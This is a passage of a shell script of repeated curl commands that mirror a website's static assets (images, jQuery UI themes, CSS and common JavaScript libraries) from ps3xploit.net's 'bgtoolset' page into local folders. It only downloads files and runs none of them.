'https://www.ps3xploit.net/bgtoolset/assets/images/qr-PayNyms.png' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0' -H 'Referer: https://www.ps3xploit.net/bgtoolset/' -o ./assets/images/qr-PayNyms.png -curl -L 'https://www.ps3xploit.net/bgtoolset/assets/images/qr-native-segwit-BECH32.png' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0' -H 'Referer: https://www.ps3xploit.net/bgtoolset/' -o ./assets/images/qr-native-segwit-BECH32.png -curl -L 'https://www.ps3xploit.net/bgtoolset/assets/images/success.png' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0' -H 'Referer: https://www.ps3xploit.net/bgtoolset/' -o ./assets/images/success.png -curl -L 'https://www.ps3xploit.net/bgtoolset/assets/images/busy_icon.gif' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0' -H 'Referer: https://www.ps3xploit.net/bgtoolset/' -o ./assets/images/busy_icon.gif -curl -L 'https://www.ps3xploit.net/bgtoolset/assets/images/qr-legacy-P2PKH.png' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0' -H 'Referer: https://www.ps3xploit.net/bgtoolset/' -o ./assets/images/qr-legacy-P2PKH.png -curl -L 'https://www.ps3xploit.net/bgtoolset/assets/css/mCustomScrollbar.pmin.css' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0' -H 'Referer: https://www.ps3xploit.net/bgtoolset/' -o ./assets/css/mCustomScrollbar.pmin.css -curl -L 'https://www.ps3xploit.net/bgtoolset/assets/css/fork-awesome.min.css' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0' -H 'Referer: https://www.ps3xploit.net/bgtoolset/' -o ./assets/css/fork-awesome.min.css -curl -L 'https://www.ps3xploit.net/bgtoolset/assets/css/gfont.css' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0' -H 'Referer: https://www.ps3xploit.net/bgtoolset/' -o ./assets/css/gfont.css -curl -L 'https://www.ps3xploit.net/bgtoolset/assets/css/main.pmin.css' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0' -H 'Referer: https://www.ps3xploit.net/bgtoolset/' -o ./assets/css/main.pmin.css -curl -L 'https://www.ps3xploit.net/bgtoolset/assets/jqueryui/eggplant/jquery-ui.pmin.css' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0' -H 'Referer: https://www.ps3xploit.net/bgtoolset/' -o ./assets/jqueryui/eggplant/jquery-ui.pmin.css -curl -L 'https://www.ps3xploit.net/bgtoolset/assets/jqueryui/eggplant/images/pb.gif' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0' -H 'Referer: https://www.ps3xploit.net/bgtoolset/' -o ./assets/jqueryui/eggplant/images/pb.gif -curl -L 'https://www.ps3xploit.net/bgtoolset/assets/jqueryui/eggplant/images/ui-icons_ffffff_256x240.png' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0' -H 'Referer: https://www.ps3xploit.net/bgtoolset/' -o ./assets/jqueryui/eggplant/images/ui-icons_ffffff_256x240.png -curl -L 'https://www.ps3xploit.net/bgtoolset/assets/jqueryui/eggplant/images/ui-icons_a8a3ae_256x240.png' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0' -H 'Referer: https://www.ps3xploit.net/bgtoolset/' -o ./assets/jqueryui/eggplant/images/ui-icons_a8a3ae_256x240.png -curl -L 'https://www.ps3xploit.net/bgtoolset/assets/jqueryui/eggplant/images/ui-icons_8d78a5_256x240.png' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0' -H 'Referer: https://www.ps3xploit.net/bgtoolset/' -o ./assets/jqueryui/eggplant/images/ui-icons_8d78a5_256x240.png -curl -L 'https://www.ps3xploit.net/bgtoolset/assets/jqueryui/eggplant/images/list-style.gif' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0' -H 'Referer: https://www.ps3xploit.net/bgtoolset/' -o ./assets/jqueryui/eggplant/images/list-style.gif -curl -L 'https://www.ps3xploit.net/bgtoolset/assets/jqueryui/eggplant/images/ui-bg_highlight-soft_100_eae6ea_1x100.png' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0' -H 'Referer: https://www.ps3xploit.net/bgtoolset/' -o ./assets/jqueryui/eggplant/images/ui-bg_highlight-soft_100_eae6ea_1x100.png -curl -L 'https://www.ps3xploit.net/bgtoolset/assets/jqueryui/eggplant/images/throbber.gif' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0' -H 'Referer: https://www.ps3xploit.net/bgtoolset/' -o ./assets/jqueryui/eggplant/images/throbber.gif -curl -L 'https://www.ps3xploit.net/bgtoolset/assets/jqueryui/eggplant/images/notice.png' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0' -H 'Referer: https://www.ps3xploit.net/bgtoolset/' -o ./assets/jqueryui/eggplant/images/notice.png -curl -L 'https://www.ps3xploit.net/bgtoolset/assets/jqueryui/eggplant/images/ui-bg_highlight-soft_45_5f5964_1x100.png' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0' -H 'Referer: https://www.ps3xploit.net/bgtoolset/' -o ./assets/jqueryui/eggplant/images/ui-bg_highlight-soft_45_5f5964_1x100.png -curl -L 'https://www.ps3xploit.net/bgtoolset/assets/jqueryui/eggplant/images/ui-icons_454545_256x240.png' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0' -H 'Referer: https://www.ps3xploit.net/bgtoolset/' -o ./assets/jqueryui/eggplant/images/ui-icons_454545_256x240.png -curl -L 'https://www.ps3xploit.net/bgtoolset/assets/jqueryui/eggplant/images/ui-bg_gloss-wave_30_3d3644_500x100.png' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0' -H 'Referer: https://www.ps3xploit.net/bgtoolset/' -o ./assets/jqueryui/eggplant/images/ui-bg_gloss-wave_30_3d3644_500x100.png -curl -L 'https://www.ps3xploit.net/bgtoolset/assets/jqueryui/eggplant/images/32px.png' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0' -H 'Referer: https://www.ps3xploit.net/bgtoolset/' -o ./assets/jqueryui/eggplant/images/32px.png -curl -L 'https://www.ps3xploit.net/bgtoolset/assets/jqueryui/eggplant/images/ui-icons_734d99_256x240.png' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0' -H 'Referer: https://www.ps3xploit.net/bgtoolset/' -o ./assets/jqueryui/eggplant/images/ui-icons_734d99_256x240.png -curl -L 'https://www.ps3xploit.net/bgtoolset/assets/jqueryui/eggplant/images/ui-bg_highlight-soft_100_dcd9de_1x100.png' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0' -H 'Referer: https://www.ps3xploit.net/bgtoolset/' -o ./assets/jqueryui/eggplant/images/ui-bg_highlight-soft_100_dcd9de_1x100.png -curl -L 'https://www.ps3xploit.net/bgtoolset/assets/jqueryui/eggplant/images/success.png' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0' -H 'Referer: https://www.ps3xploit.net/bgtoolset/' -o ./assets/jqueryui/eggplant/images/success.png -curl -L 'https://www.ps3xploit.net/bgtoolset/assets/jqueryui/eggplant/images/close.gif' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0' -H 'Referer: https://www.ps3xploit.net/bgtoolset/' -o ./assets/jqueryui/eggplant/images/close.gif -curl -L 'https://www.ps3xploit.net/bgtoolset/assets/jqueryui/eggplant/images/warning.png' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0' -H 'Referer: https://www.ps3xploit.net/bgtoolset/' -o ./assets/jqueryui/eggplant/images/warning.png -curl -L 'https://www.ps3xploit.net/bgtoolset/assets/jqueryui/eggplant/images/hourglass-pink.gif' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0' -H 'Referer: https://www.ps3xploit.net/bgtoolset/' -o ./assets/jqueryui/eggplant/images/hourglass-pink.gif -curl -L 'https://www.ps3xploit.net/bgtoolset/assets/jqueryui/eggplant/images/ui-bg_highlight-soft_25_30273a_1x100.png' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0' -H 'Referer: https://www.ps3xploit.net/bgtoolset/' -o ./assets/jqueryui/eggplant/images/ui-bg_highlight-soft_25_30273a_1x100.png -curl -L 'https://www.ps3xploit.net/bgtoolset/assets/jqueryui/redmond/jquery-ui.pmin.css' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0' -H 'Referer: https://www.ps3xploit.net/bgtoolset/' -o ./assets/jqueryui/redmond/jquery-ui.pmin.css -curl -L 'https://www.ps3xploit.net/bgtoolset/assets/jqueryui/redmond/images/ui-icons_217bc0_256x240.png' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0' -H 'Referer: https://www.ps3xploit.net/bgtoolset/' -o ./assets/jqueryui/redmond/images/ui-icons_217bc0_256x240.png -curl -L 'https://www.ps3xploit.net/bgtoolset/assets/jqueryui/redmond/images/ui-bg_glass_75_d0e5f5_1x400.png' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0' -H 'Referer: https://www.ps3xploit.net/bgtoolset/' -o ./assets/jqueryui/redmond/images/ui-bg_glass_75_d0e5f5_1x400.png -curl -L 'https://www.ps3xploit.net/bgtoolset/assets/jqueryui/redmond/images/list-style.gif' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0' -H 'Referer: https://www.ps3xploit.net/bgtoolset/' -o ./assets/jqueryui/redmond/images/list-style.gif -curl -L 'https://www.ps3xploit.net/bgtoolset/assets/jqueryui/redmond/images/ui-icons_469bdd_256x240.png' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0' -H 'Referer: https://www.ps3xploit.net/bgtoolset/' -o ./assets/jqueryui/redmond/images/ui-icons_469bdd_256x240.png -curl -L 'https://www.ps3xploit.net/bgtoolset/assets/jqueryui/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0' -H 'Referer: https://www.ps3xploit.net/bgtoolset/' -o ./assets/jqueryui/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png -curl -L 'https://www.ps3xploit.net/bgtoolset/assets/jqueryui/redmond/images/ui-bg_inset-hard_100_f5f8f9_1x100.png' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0' -H 'Referer: https://www.ps3xploit.net/bgtoolset/' -o ./assets/jqueryui/redmond/images/ui-bg_inset-hard_100_f5f8f9_1x100.png -curl -L 'https://www.ps3xploit.net/bgtoolset/assets/jqueryui/redmond/images/ui-icons_6da8d5_256x240.png' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0' -H 'Referer: https://www.ps3xploit.net/bgtoolset/' -o ./assets/jqueryui/redmond/images/ui-icons_6da8d5_256x240.png -curl -L 'https://www.ps3xploit.net/bgtoolset/assets/jqueryui/redmond/images/success.png' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0' -H 'Referer: https://www.ps3xploit.net/bgtoolset/' -o ./assets/jqueryui/redmond/images/success.png -curl -L 'https://www.ps3xploit.net/bgtoolset/assets/jqueryui/redmond/images/ui-icons_f9bd01_256x240.png' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0' -H 'Referer: https://www.ps3xploit.net/bgtoolset/' -o ./assets/jqueryui/redmond/images/ui-icons_f9bd01_256x240.png -curl -L 'https://www.ps3xploit.net/bgtoolset/assets/jqueryui/redmond/images/close.gif' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0' -H 'Referer: https://www.ps3xploit.net/bgtoolset/' -o ./assets/jqueryui/redmond/images/close.gif -curl -L 'https://www.ps3xploit.net/bgtoolset/assets/jqueryui/redmond/images/warning.png' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0' -H 'Referer: https://www.ps3xploit.net/bgtoolset/' -o ./assets/jqueryui/redmond/images/warning.png -curl -L 'https://www.ps3xploit.net/bgtoolset/assets/jqueryui/redmond/images/ui-bg_glass_85_dfeffc_1x400.png' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0' -H 'Referer: https://www.ps3xploit.net/bgtoolset/' -o ./assets/jqueryui/redmond/images/ui-bg_glass_85_dfeffc_1x400.png -curl -L 'https://www.ps3xploit.net/bgtoolset/assets/jqueryui/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0' -H 'Referer: https://www.ps3xploit.net/bgtoolset/' -o ./assets/jqueryui/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png -curl -L 'https://www.ps3xploit.net/bgtoolset/assets/jqueryui/hot-sneaks/jquery-ui.pmin.css' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0' -H 'Referer: https://www.ps3xploit.net/bgtoolset/' -o ./assets/jqueryui/hot-sneaks/jquery-ui.pmin.css -curl -L 'https://www.ps3xploit.net/bgtoolset/assets/jqueryui/hot-sneaks/images/ui-bg_diagonals-small_75_ccd232_40x40.png' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0' -H 'Referer: https://www.ps3xploit.net/bgtoolset/' -o ./assets/jqueryui/hot-sneaks/images/ui-bg_diagonals-small_75_ccd232_40x40.png -curl -L 'https://www.ps3xploit.net/bgtoolset/assets/jqueryui/hot-sneaks/images/ui-icons_ffffff_256x240.png' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0' -H 'Referer: https://www.ps3xploit.net/bgtoolset/' -o ./assets/jqueryui/hot-sneaks/images/ui-icons_ffffff_256x240.png -curl -L 'https://www.ps3xploit.net/bgtoolset/assets/jqueryui/hot-sneaks/images/list-style.gif' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0' -H 'Referer: https://www.ps3xploit.net/bgtoolset/' -o ./assets/jqueryui/hot-sneaks/images/list-style.gif -curl -L 'https://www.ps3xploit.net/bgtoolset/assets/jqueryui/hot-sneaks/images/ui-bg_diagonals-small_40_db4865_40x40.png' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0' -H 'Referer: https://www.ps3xploit.net/bgtoolset/' -o ./assets/jqueryui/hot-sneaks/images/ui-bg_diagonals-small_40_db4865_40x40.png -curl -L 'https://www.ps3xploit.net/bgtoolset/assets/jqueryui/hot-sneaks/images/ui-bg_dots-small_35_35414f_2x2.png' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0' -H 'Referer: https://www.ps3xploit.net/bgtoolset/' -o ./assets/jqueryui/hot-sneaks/images/ui-bg_dots-small_35_35414f_2x2.png -curl -L 'https://www.ps3xploit.net/bgtoolset/assets/jqueryui/hot-sneaks/images/ui-icons_c02669_256x240.png' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0' -H 'Referer: https://www.ps3xploit.net/bgtoolset/' -o ./assets/jqueryui/hot-sneaks/images/ui-icons_c02669_256x240.png -curl -L 'https://www.ps3xploit.net/bgtoolset/assets/jqueryui/hot-sneaks/images/ui-icons_88a206_256x240.png' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0' -H 'Referer: https://www.ps3xploit.net/bgtoolset/' -o ./assets/jqueryui/hot-sneaks/images/ui-icons_88a206_256x240.png -curl -L 'https://www.ps3xploit.net/bgtoolset/assets/jqueryui/hot-sneaks/images/ui-bg_diagonals-small_50_93c3cd_40x40.png' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0' -H 'Referer: https://www.ps3xploit.net/bgtoolset/' -o ./assets/jqueryui/hot-sneaks/images/ui-bg_diagonals-small_50_93c3cd_40x40.png -curl -L 'https://www.ps3xploit.net/bgtoolset/assets/jqueryui/hot-sneaks/images/success.png' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0' -H 'Referer: https://www.ps3xploit.net/bgtoolset/' -o ./assets/jqueryui/hot-sneaks/images/success.png -curl -L 'https://www.ps3xploit.net/bgtoolset/assets/jqueryui/hot-sneaks/images/close.gif' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0' -H 'Referer: https://www.ps3xploit.net/bgtoolset/' -o ./assets/jqueryui/hot-sneaks/images/close.gif -curl -L 'https://www.ps3xploit.net/bgtoolset/assets/jqueryui/hot-sneaks/images/warning.png' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0' -H 'Referer: https://www.ps3xploit.net/bgtoolset/' -o ./assets/jqueryui/hot-sneaks/images/warning.png -curl -L 'https://www.ps3xploit.net/bgtoolset/assets/jqueryui/sunny/jquery-ui.pmin.css' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0' -H 'Referer: https://www.ps3xploit.net/bgtoolset/' -o ./assets/jqueryui/sunny/jquery-ui.pmin.css -curl -L 'https://www.ps3xploit.net/bgtoolset/assets/jqueryui/sunny/images/ui-icons_d19405_256x240.png' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0' -H 'Referer: https://www.ps3xploit.net/bgtoolset/' -o ./assets/jqueryui/sunny/images/ui-icons_d19405_256x240.png -curl -L 'https://www.ps3xploit.net/bgtoolset/assets/jqueryui/sunny/images/ui-bg_gloss-wave_70_ffdd57_500x100.png' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0' -H 'Referer: https://www.ps3xploit.net/bgtoolset/' -o ./assets/jqueryui/sunny/images/ui-bg_gloss-wave_70_ffdd57_500x100.png -curl -L 'https://www.ps3xploit.net/bgtoolset/assets/jqueryui/sunny/images/list-style.gif' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0' -H 'Referer: https://www.ps3xploit.net/bgtoolset/' -o ./assets/jqueryui/sunny/images/list-style.gif -curl -L 'https://www.ps3xploit.net/bgtoolset/assets/jqueryui/sunny/images/ui-icons_bd7b00_256x240.png' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0' -H 'Referer: https://www.ps3xploit.net/bgtoolset/' -o ./assets/jqueryui/sunny/images/ui-icons_bd7b00_256x240.png -curl -L 'https://www.ps3xploit.net/bgtoolset/assets/jqueryui/sunny/images/ui-bg_inset-soft_30_ffffff_1x100.png' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0' -H 'Referer: https://www.ps3xploit.net/bgtoolset/' -o ./assets/jqueryui/sunny/images/ui-bg_inset-soft_30_ffffff_1x100.png -curl -L 'https://www.ps3xploit.net/bgtoolset/assets/jqueryui/sunny/images/ui-bg_gloss-wave_45_817865_500x100.png' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0' -H 'Referer: https://www.ps3xploit.net/bgtoolset/' -o ./assets/jqueryui/sunny/images/ui-bg_gloss-wave_45_817865_500x100.png -curl -L 'https://www.ps3xploit.net/bgtoolset/assets/jqueryui/sunny/images/ui-bg_gloss-wave_60_fece2f_500x100.png' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0' -H 'Referer: https://www.ps3xploit.net/bgtoolset/' -o ./assets/jqueryui/sunny/images/ui-bg_gloss-wave_60_fece2f_500x100.png -curl -L 'https://www.ps3xploit.net/bgtoolset/assets/jqueryui/sunny/images/ui-bg_highlight-soft_100_feeebd_1x100.png' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0' -H 'Referer: https://www.ps3xploit.net/bgtoolset/' -o ./assets/jqueryui/sunny/images/ui-bg_highlight-soft_100_feeebd_1x100.png -curl -L 'https://www.ps3xploit.net/bgtoolset/assets/jqueryui/sunny/images/loading_bar_darkbrown.gif' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0' -H 'Referer: https://www.ps3xploit.net/bgtoolset/' -o ./assets/jqueryui/sunny/images/loading_bar_darkbrown.gif -curl -L 'https://www.ps3xploit.net/bgtoolset/assets/jqueryui/sunny/images/ui-icons_3d3d3d_256x240.png' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0' -H 'Referer: https://www.ps3xploit.net/bgtoolset/' -o ./assets/jqueryui/sunny/images/ui-icons_3d3d3d_256x240.png -curl -L 'https://www.ps3xploit.net/bgtoolset/assets/jqueryui/sunny/images/success.png' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0' -H 'Referer: https://www.ps3xploit.net/bgtoolset/' -o ./assets/jqueryui/sunny/images/success.png -curl -L 'https://www.ps3xploit.net/bgtoolset/assets/jqueryui/sunny/images/close.gif' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0' -H 'Referer: https://www.ps3xploit.net/bgtoolset/' -o ./assets/jqueryui/sunny/images/close.gif -curl -L 'https://www.ps3xploit.net/bgtoolset/assets/jqueryui/sunny/images/warning.png' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0' -H 'Referer: https://www.ps3xploit.net/bgtoolset/' -o ./assets/jqueryui/sunny/images/warning.png -curl -L 'https://www.ps3xploit.net/bgtoolset/assets/jqueryui/sunny/images/ui-icons_eb990f_256x240.png' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0' -H 'Referer: https://www.ps3xploit.net/bgtoolset/' -o ./assets/jqueryui/sunny/images/ui-icons_eb990f_256x240.png -curl -L 'https://www.ps3xploit.net/bgtoolset/js/jquery-ui.min.js' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0' -H 'Referer: https://www.ps3xploit.net/bgtoolset/' -o ./js/jquery-ui.min.js -curl -L 'https://www.ps3xploit.net/bgtoolset/js/js.cookie.min.js' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0' -H 'Referer: https://www.ps3xploit.net/bgtoolset/' -o ./js/js.cookie.min.js -curl -L 'https://www.ps3xploit.net/bgtoolset/js/jstree.min.js' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0' -H 'Referer: https://www.ps3xploit.net/bgtoolset/' -o ./js/jstree.min.js -curl -L 'https://www.ps3xploit.net/bgtoolset/js/mCustomScrollbar.concat.min.js' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0' -H 'Referer: https://www.ps3xploit.net/bgtoolset/' -o ./js/mCustomScrollbar.concat.min.js -curl -L 'https://www.ps3xploit.net/bgtoolset/js/jquery-1.12.4.min.js' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0' -H 'Referer: https://www.ps3xploit.net/bgtoolset/' -o ./js/jquery-1.12.4.min.js -curl -L 'https://www.ps3xploit.net/bgtoolset/js/swfobject23.min.js' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0' -H 'Referer: https://www.ps3xploit.net/bgtoolset/' -o ./js/swfobject23.min.js -curl -L 'https://www.ps3xploit.net/bgtoolset/js/jquery.switchButton.min.js' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0' -H 'Referer: https://www.ps3xploit.net/bgtoolset/' -o ./js/jquery.switchButton.min.js -curl -L 'https://www.ps3xploit.net/bgtoolset/js/logger.pmin.js' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0' -H 'Referer: https://www.ps3xploit.net/bgtoolset/' -o ./js/logger.pmin.js -curl -L 'https://www.ps3xploit.net/bgtoolset/js/toastmessage.min.js' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0' -H 'Referer: https://www.ps3xploit.net/bgtoolset/' -o ./js/toastmessage.min.js